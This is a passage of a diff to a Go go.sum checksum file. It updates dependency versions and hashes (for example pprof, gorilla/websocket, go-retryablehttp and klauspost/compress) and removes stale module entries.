h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20230207041349-798e818bf904/go.mod h1:uglQLonpP8qtYCYyzA+8c/9qtqgA3qsXGYqCPKARAFg= -github.com/google/pprof v0.0.0-20240509144519-723abb6459b7 h1:velgFPYr1X9TDwLIfkV7fWqsFlf7TeP11M/7kPd/dVI= -github.com/google/pprof v0.0.0-20240509144519-723abb6459b7/go.mod h1:kf6iHlnVGwgKolg33glAes7Yg/8iWP8ukqeldJSO7jw= +github.com/google/pprof v0.0.0-20240625030939-27f56978b8b0 h1:e+8XbKB6IMn8A4OAyZccO4pYfB3s7bt6azNIPE7AnPg= +github.com/google/pprof v0.0.0-20240625030939-27f56978b8b0/go.mod h1:K1liHPHnj73Fdn/EKuT8nrFqBihUSKXoLYU0BuatOYo= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= -github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= -github.com/gorilla/context v1.1.1/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg= -github.com/gorilla/css v1.0.0/go.mod h1:Dn721qIggHpt4+EFCcTLTU/vk5ySda2ReITrtgBl60c= github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8= github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0= -github.com/gorilla/mux v1.6.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= -github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= -github.com/gorilla/websocket v0.0.0-20170926233335-4201258b820c/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/QY= -github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/grokify/html-strip-tags-go v0.0.1 h1:0fThFwLbW7P/kOiTBs03FsJSV9RM2M/Q/MOnCQxKMo0= github.com/grokify/html-strip-tags-go v0.0.1/go.mod h1:2Su6romC5/1VXOQMaWL2yb618ARB8iVo6/DR99A6d78= -github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= -github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= -github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/h2non/filetype v1.1.3 h1:FKkx9QbD7HR/zjK1Ia5XiBsq9zdLi5Kf3zGyFTAFkGg= github.com/h2non/filetype v1.1.3/go.mod h1:319b3zT68BvV+WRj7cwy856M2ehB3HqNOt6sy1HndBY= -github.com/hashicorp/consul/api v1.3.0/go.mod h1:MmDNSzIMUjNpY/mQ398R4bk2FnqQLoPndWW5VkKPlCE= -github.com/hashicorp/consul/sdk v0.3.0/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= github.com/hashicorp/go-hclog v1.6.3 h1:Qr2kF+eVWjTiYmU7Y31tYlP1h0q/X3Nl3tPGdaB11/k= github.com/hashicorp/go-hclog v1.6.3/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= -github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= -github.com/hashicorp/go-retryablehttp v0.7.6 h1:TwRYfx2z2C4cLbXmT8I5PgP/xmuqASDyiVuGYfs9GZM= -github.com/hashicorp/go-retryablehttp v0.7.6/go.mod h1:pkQpWZeYWskR+D1tR2O5OcBFOxfA7DoAO6xtkuQnHTk= -github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= -github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= -github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= -github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-retryablehttp v0.7.7 h1:C8hUCYzor8PIfXHa4UrZkU4VvK8o9ISHxT2Q8+VepXU= +github.com/hashicorp/go-retryablehttp v0.7.7/go.mod h1:pkQpWZeYWskR+D1tR2O5OcBFOxfA7DoAO6xtkuQnHTk= github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-version v1.2.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= -github.com/hashicorp/go-version v1.6.0 h1:feTTfFNnjP967rlCxM/I9g701jU+RN74YKx2mOkIeek= -github.com/hashicorp/go-version v1.6.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= -github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= +github.com/hashicorp/go-version v1.7.0 h1:5tqGy27NaOTB8yJKUZELlFAS/LTKJkrmONwQKeRZfjY= +github.com/hashicorp/go-version v1.7.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= -github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= -github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf h1:umfGUaWdFP2s6457fz1+xXYIWDxdGc7HdkLS9aJ1skk= github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf/go.mod h1:V99KdStnMHZsvVOwIvhfcUzYgYkRZeQWUtumtL+SKxA= github.com/hdm/jarm-go v0.0.7 h1:Eq0geenHrBSYuKrdVhrBdMMzOmA+CAMLzN2WrF3eL6A= @@ -637,36 +560,30 @@ github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUq github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg= github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= -github.com/hudl/fargo v1.3.0/go.mod h1:y3CKSmjA+wD2gak7sUSXTAoopbhU08POFhmITJgmKTg= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9uLXRB3GNc73SvZACDEFAmDCOlDkV47zbY= github.com/iancoleman/orderedmap v0.3.0 h1:5cbR2grmZR/DiVt+VJopEhtVs9YGInGIxAoMJn+Ichc= github.com/iancoleman/orderedmap v0.3.0/go.mod h1:XuLcCUkdL5owUCQeF2Ue9uuw1EptkJDkXXS7VoV7XGE= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/ianlancetaylor/demangle v0.0.0-20220319035150-800ac71e25c2/go.mod h1:aYm2/VgdVmcIU8iMfdMvDMsRAQjcfZSKFby6HOFvi/w= github.com/icodeface/tls v0.0.0-20230910023335-34df9250cd12 h1:uSJXMFVNfN2hyXDLM19op2fNiCN/nL8xgdmNXgs5738= github.com/icodeface/tls v0.0.0-20230910023335-34df9250cd12/go.mod h1:VJNHW2GxCtQP/IQtXykBIPBV8maPJ/dHWirVTwm9GwY= github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= github.com/imdario/mergo v0.3.16 h1:wwQJbIsHYGMUyLSPrEq1CT16AhnhNJQ51+4fdHUnCl4= github.com/imdario/mergo v0.3.16/go.mod h1:WBLT9ZmE3lPoWsEzCh9LPo3TiwVN+ZKEjmz+hD27ysY= -github.com/imroc/req/v3 v3.43.4 h1:NSXlB5dELZuxzGEFRWLWEQ9dQmh8d9pUMPa7MevK1K4= -github.com/imroc/req/v3 v3.43.4/go.mod h1:SQIz5iYop16MJxbo8ib+4LnostGCok8NQf8ToyQc2xA= -github.com/imroc/req/v3 v3.43.5 h1:fL7dOEfld+iEv1rwnIxseJz2/Y7JZ/HgbAURLZkat80= -github.com/imroc/req/v3 v3.43.5/go.mod h1:SQIz5iYop16MJxbo8ib+4LnostGCok8NQf8ToyQc2xA= -github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/imroc/req/v3 v3.43.7 h1:dOcNb9n0X83N5/5/AOkiU+cLhzx8QFXjv5MhikazzQA= +github.com/imroc/req/v3 v3.43.7/go.mod h1:SQIz5iYop16MJxbo8ib+4LnostGCok8NQf8ToyQc2xA= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= -github.com/influxdata/influxdb1-client v0.0.0-20191209144304-8bf82d3c094d/go.mod h1:qj24IKcXYK6Iy9ceXlo3Tc+vtHo9lIhSX5JddghvEPo= github.com/invopop/jsonschema v0.12.0 h1:6ovsNSuvn9wEQVOyc72aycBMVQFKz7cPdMJn10CvzRI= github.com/invopop/jsonschema v0.12.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0= github.com/invopop/yaml v0.3.1 h1:f0+ZpmhfBSS4MhG+4HYseMdJhoeeopbSKbq5Rpeelso= github.com/invopop/yaml v0.3.1/go.mod h1:PMOp3nn4/12yEZUFfmOuNHJsZToEEOwoWsT+D81KkeA= github.com/ipinfo/go/v2 v2.10.0 h1:v9sFjaxnVVD+JVgpWpjgwols18Tuu4SgBDaHHaw0IXo= github.com/ipinfo/go/v2 v2.10.0/go.mod h1:tRDkYfM20b1XzNqorn1Q1O6Xtg7uzw3Wn3I2R0SyJh4= -github.com/itchyny/gojq v0.12.15 h1:WC1Nxbx4Ifw5U2oQWACYz32JK8G9qxNtHzrvW4KEcqI= -github.com/itchyny/gojq v0.12.15/go.mod h1:uWAHCbCIla1jiNxmeT5/B5mOjSdfkCq6p8vxWg+BM10= -github.com/itchyny/timefmt-go v0.1.5 h1:G0INE2la8S6ru/ZI5JecgyzbbJNs5lG1RcBqa7Jm6GE= -github.com/itchyny/timefmt-go v0.1.5/go.mod h1:nEP7L+2YmAbT2kZ2HfSs1d8Xtw9LY8D2stDBckWakZ8= +github.com/itchyny/gojq v0.12.16 h1:yLfgLxhIr/6sJNVmYfQjTIv0jGctu6/DgDoivmxTr7g= +github.com/itchyny/gojq v0.12.16/go.mod h1:6abHbdC2uB9ogMS38XsErnfqJ94UlngIJGlRAIj4jTM= +github.com/itchyny/timefmt-go v0.1.6 h1:ia3s54iciXDdzWzwaVKXZPbiXzxxnv1SPGFfM/myJ5Q= +github.com/itchyny/timefmt-go v0.1.6/go.mod h1:RRDZYC5s9ErkjQvTvvU7keJjxUYzIISJGxm9/mAERQg= github.com/jarcoal/httpmock v1.0.4 h1:jp+dy/+nonJE4g4xbVtl9QdrUNbn6/3hDT5R4nDIZnA= github.com/jarcoal/httpmock v1.0.4/go.mod h1:ATjnClrvW/3tijVmpL/va5Z3aAyGvqU3gCT8nX0Txik= github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 h1:BQSFePA1RWJOlocH6Fxy8MmwDt+yVQYULKfN0RoTN8A= @@ -694,20 +611,16 @@ github.com/jinzhu/now v1.0.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/ github.com/jlaffaye/ftp v0.0.0-20190624084859-c1312a7102bf/go.mod h1:lli8NYPQOFy3O++YmYbqVgOcQ1JPCwdOy+5zSjKJ9qY= github.com/jlaffaye/ftp v0.2.0 h1:lXNvW7cBu7R/68bknOX3MrRIIqZ61zELs1P2RAiA3lg= github.com/jlaffaye/ftp v0.2.0/go.mod h1:is2Ds5qkhceAPy2xD6RLI6hmp/qysSoymZ+Z2uTnspI= -github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8= github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= -github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= github.com/jonboulle/clockwork v0.4.0 h1:p4Cf1aMWXnXAUh8lVfewRBx1zaTSYKrKMF2g3ST4RZ4= github.com/jonboulle/clockwork v0.4.0/go.mod h1:xgRqUGwRcjKCO1vbZUEtSLrqKoPSsUpK7fnezOII0kc= github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/json-iterator/go v1.1.7/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= -github.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= @@ -727,17 +640,16 @@ github.com/kataras/pio v0.0.13 h1:x0rXVX0fviDTXOOLOmr4MUxOabu1InVSTu5itF8CXCM= github.com/kataras/pio v0.0.13/go.mod h1:k3HNuSw+eJ8Pm2lA4lRhg3DiCjVgHlP8hmXApSej3oM= github.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4= github.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= -github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/compress v1.11.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs= -github.com/klauspost/compress v1.17.8 h1:YcnTYrq7MikUT7k0Yb5eceMmALQPYBW/Xltxn0NAMnU= -github.com/klauspost/compress v1.17.8/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= +github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA= +github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= github.com/klauspost/cpuid/v2 v2.0.12/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c= -github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM= -github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= +github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM= +github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= github.com/klauspost/pgzip v1.2.5/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs= github.com/klauspost/pgzip v1.2.6 h1:8RXeL5crjEUFnR2/Sn6GJNWtSQ3Dk8pq4CL3jvdDyjU= github.com/klauspost/pgzip v1.2.6/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs= @@ -749,7 +661,6 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= @@ -781,8 +692,6 @@ github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/libdns/libdns v0.2.2 h1:O6ws7bAfRPaBsgAYt8MDe2HcNBGC29hkZ9MX2eUSX3s= github.com/libdns/libdns v0.2.2/go.mod h1:4Bj9+5CQiNMVGf87wjX4CY3HQJypUHRuLvlsfsZqLWQ= -github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20190605223551-bc2310a04743/go.mod h1:qklhhLq1aX+mtWk9cPHPzaBjWImj5ULL6C7HFJtXQMM= -github.com/lightstep/lightstep-tracer-go v0.18.1/go.mod h1:jlF1pusYV4pidLvZ+XD0UBX0ZE6WURAspgAczcDHrL4= github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0= @@ -790,33 +699,27 @@ github.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8 h1:z9RDOBcFcf3f2hSfK github.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0= github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY= github.com/lucasb-eyer/go-colorful v1.2.0/go.mod 